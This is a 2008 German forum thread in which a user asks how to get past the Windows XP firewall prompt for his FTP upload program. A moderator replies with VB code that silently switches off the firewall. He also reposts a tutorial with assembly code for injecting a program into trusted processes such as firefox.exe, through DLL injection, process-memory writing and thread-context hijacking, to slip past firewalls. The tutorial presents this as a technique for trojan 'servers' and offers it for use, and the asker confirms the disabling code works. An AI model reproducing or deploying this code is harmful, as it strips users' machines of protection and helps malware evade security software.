Windows XP Firewall umgehen Verfasst am: 13.03.2008, 10:34
Hallo Jungs !
Ich hätte eine Frage an euch: Wie kann ich die Windows XP Firewall in gewisser Weise umgehen?
Denn ich habe das Problem, das bei meinem Programm, dass etwas auf einen FTP Server lädt, immer vor dem Upload die Meldung der Windows Firewall kommt mit "Blokieren" "Zulassen" usw. kommt.
Ich hoffe ihr wisst da weiter _________________
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 13.03.2008, 12:48
Firewall Bypass (FWB) bzw. einfach ausschalten.
Ausschalten:
Code:
Dim XPFirewall As Object
Dim XPFirewallpolicy As Object
Set XPFirewall = CreateObject("HNetCfg.FwMgr")
Set XPFirewallpolicy = XPFirewall.LocalPolicy.CurrentProfile
XPFirewallpolicy.FirewallEnabled = False
FWB (du wirst es nicht komplett in VB machen können):
rockZ hat Folgendes geschrieben:
[size=200]Firewall ByPass - Wie funktioniert das?[/size]
Hintergedanken und Methoden im Laufe der Zeit
Alles fing damit an, dass der Wunsch entstand, Firewalls umgehen zu können. Also setzten sich diverse Programmierer daran, eine Methode zu entwickeln, wie man an Firewalls vorbeikommt. Schon schnell kam man auf die Idee, man könne ja einfach so tun, als sein man ein Vertrautes Programm. Anfängliche Versuche, einfach die Datei zu ersetzen und danach die Originaldatei zu starten (Server kopiert firefox.exe zu firefox1.exe, kopiert sich zu firefox.exe und startet nach dem Aufruf firefox1.exe), wurden schnell durch CRC32-Checks der Dateien zerstört. Also musste eine andere Methode her, die den CRC32-Check von firefox.exe gleich aussehen ließ und trotzdem uns selbst in firefox.exe verschaffte. Dadurch entstand die erste Serienreife Methode, die DLL-Injection. Sie funktionierte ganz einfach - der "richtige" Server war eine DLL und wurde über LoadLibrary aus firefox.exe aufgerufen. Ein Beispielcode dafür (ASM):
.data
szTarget db "Notepad", 0
szLoadLibrary db "LoadLibraryA", 0
szKernel32 db "kernel32", 0
szMyDLL db "C:\MyDLL.DLL", 0
.data?
hProcess dd ?
DLLAddress dd ?
dwPID dd ?
.code
start:
invoke FindWindow, addr szTarget, 0 ; Unser Fenster finden
invoke GetWindowThreadProcessId, eax, addr dwPID ; Die ProcessID herausfinden
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPID ; Den Prozess mit vollem Zugriff öffnen
mov hProcess, eax
invoke VirtualAllocEx, hProcess, 0, sizeof szDll, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ; den DLL-Namen ohne genaue zielangabe "irgendwo" in Notepad hereinschreiben
mov DLLAddress, eax ; die addresse, die VirtualAllocEx schließlich für unseren DLL-Namen ausgewählt hat, gibt die Funktion in eax zurück.
invoke WriteProcessMemory, hProcess, hModule, addr szDll, sizeof szDll, addr dwBytesWritten ; den DLL Namen schreiben
invoke GetModuleHandle, addr szKernel32 ; die Addresse von LoadLibraryA herausfinden
invoke GetProcAddress, eax, addr szLoadLibrary
(Danke an dieser Stelle an trojanfrance.com für ihr DLL-Injection Beispiel (leicht modifiziert hier)!)
Jedoch blockten Firewalls es schnell, dass über CreateRemoteThread LoadLibraryA aufgerufen wird.
Also haben unsere Programmierer noch etwas mehr nachgedacht und kamen zum nächsten Quantensprung im Firewall-Bypassing, FWB+.
Im Grunde genommen war FWB+ sehr viel einfacher als die alte DLL-Injection, und sie brauchte keine DLL mehr.
start:
invoke GetModuleHandleA, 0 ; unsere ImageBase herausfinden
mov hModule, eax
; in den nächsten Zeilen extrahiere ich aus dem ebenfalls im Speicher geladenen PE-Header die größe unseres Speicherabbildes. Eigentlich könnte ich mir dieses gehabe auch Sparen, indem ich einfach vor dem Final Release mit einem PE-Tool auslese, wie groß SizeOfImage ist, aber so ist es dynamischer.
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax
assume edi:NOTHING
; Gut, wir haben unsere Codegröße. Nun erstellen wir uns einen neuen Prozess von firefox.
invoke CreateProcess,0,addr szApp,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr PInfo
; alloziieren *codegröße* viel Speicher an unserer ImageBase.
invoke VirtualAllocEx, PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
; schreiben unseren gesamten Code herein
invoke WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL
; und erstellen einen neuen Thread and der Position unserer Remote Funktion.
invoke CreateRemoteThread, PInfo.hProcess, 0, 0, addr HijackedThread, 0, 0, NULL
invoke ExitProcess, 0
end start
Schnell widerrum sperrten Firewalls CreateRemoteThread und WriteProcessMemory vollständig, beziehungsweise legten Filter darauf.
Gegen WriteProcessMemory gibt es zwar inzwischen Alternativen, allerdings sind diese oft sehr kompliziert (siehe: GhostWriting @ rootkit.com). Eine simple Alternative ist es, ZwWriteVirtualMemory zum schreiben zu verwenden, da viele Firewalls nur WriteProcessMemory hooken und nicht die zugrundeliegende ZwWriteVirtualMemory-Funktion. Für CreateRemoteThread wurde schnell ersatz gefunden: SetThreadContext.
Damit wird kein neuer Thread erstellt, sondern der "Original-Thread" nur weitergeleitet.
Das Beispiel dafür sieht genau gleich aus wie das vorhergehende, nur müssen wir in der .data Section folgendes hinzufügen:
Code:
RemContext CONTEXT <>
Und der CreateRemoteThread-Aufruf muss ersetzt werden mit:
Code:
mov RemContext.ContextFlags, CONTEXT_FULL
push offset RemContext
push PInfo.hThread
call GetThreadContext ; wir laden den Kontext den der Thread zur Zeit hat
mov RemContext.regEIP, offset HijackedThread ; ersetzen EIP - den Extended Instruction Pointer = der Zeiger auf den Befehl, der als nächstes ausgeführt werden soll.
push offset RemContext
push PInfo.hThread
call SetThreadContext ; wir setzen den Kontext neu
push PInfo.hThread
call ResumeThread ; wir setzten unseren Prozess fort (wurde ja CREATE_SUSPENDED gestartet!)
; Fertig!
Jedoch auch SetThreadContext wurde bald gehookt. Weil langsam die Mittel ausgingen, ging man dazu über, Userland-Unhooking-Tools (ring3) und Kernel-Unhooking-Tools (ring0) zu schreiben. Diese Sources wären jedoch etwas zu groß für dieses Tutorial, und deshalb schließe ich hiermit.
Ich hoffe, es hat gefallen!
Tutorial (C) by rockZ
c0re _________________
Psycho22_ Newbie
Anmeldedatum: 25.03.2007 Beiträge: 15
Verfasst am: 13.03.2008, 12:54
Danke für die mühe ist ech gut. _________________
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 13.03.2008, 13:02
Aber nicht von mir. :p _________________
Psycho22_ Newbie
Anmeldedatum: 25.03.2007 Beiträge: 15
Verfasst am: 13.03.2008, 13:07
Das ist ja eig egal.Hast es aber gesucht
regenz11_ Coder
Anmeldedatum: 29.07.2007 Beiträge: 77
Verfasst am: 14.03.2008, 11:35
Danke c0re !
Dieser Code:
Code:
Dim XPFirewall As Object
Dim XPFirewallpolicy As Object
Set XPFirewall = CreateObject("HNetCfg.FwMgr")
Set XPFirewallpolicy = XPFirewall.LocalPolicy.CurrentProfile
XPFirewallpolicy.FirewallEnabled = False
reicht ja schon !
thx klappt wunderbar ! _________________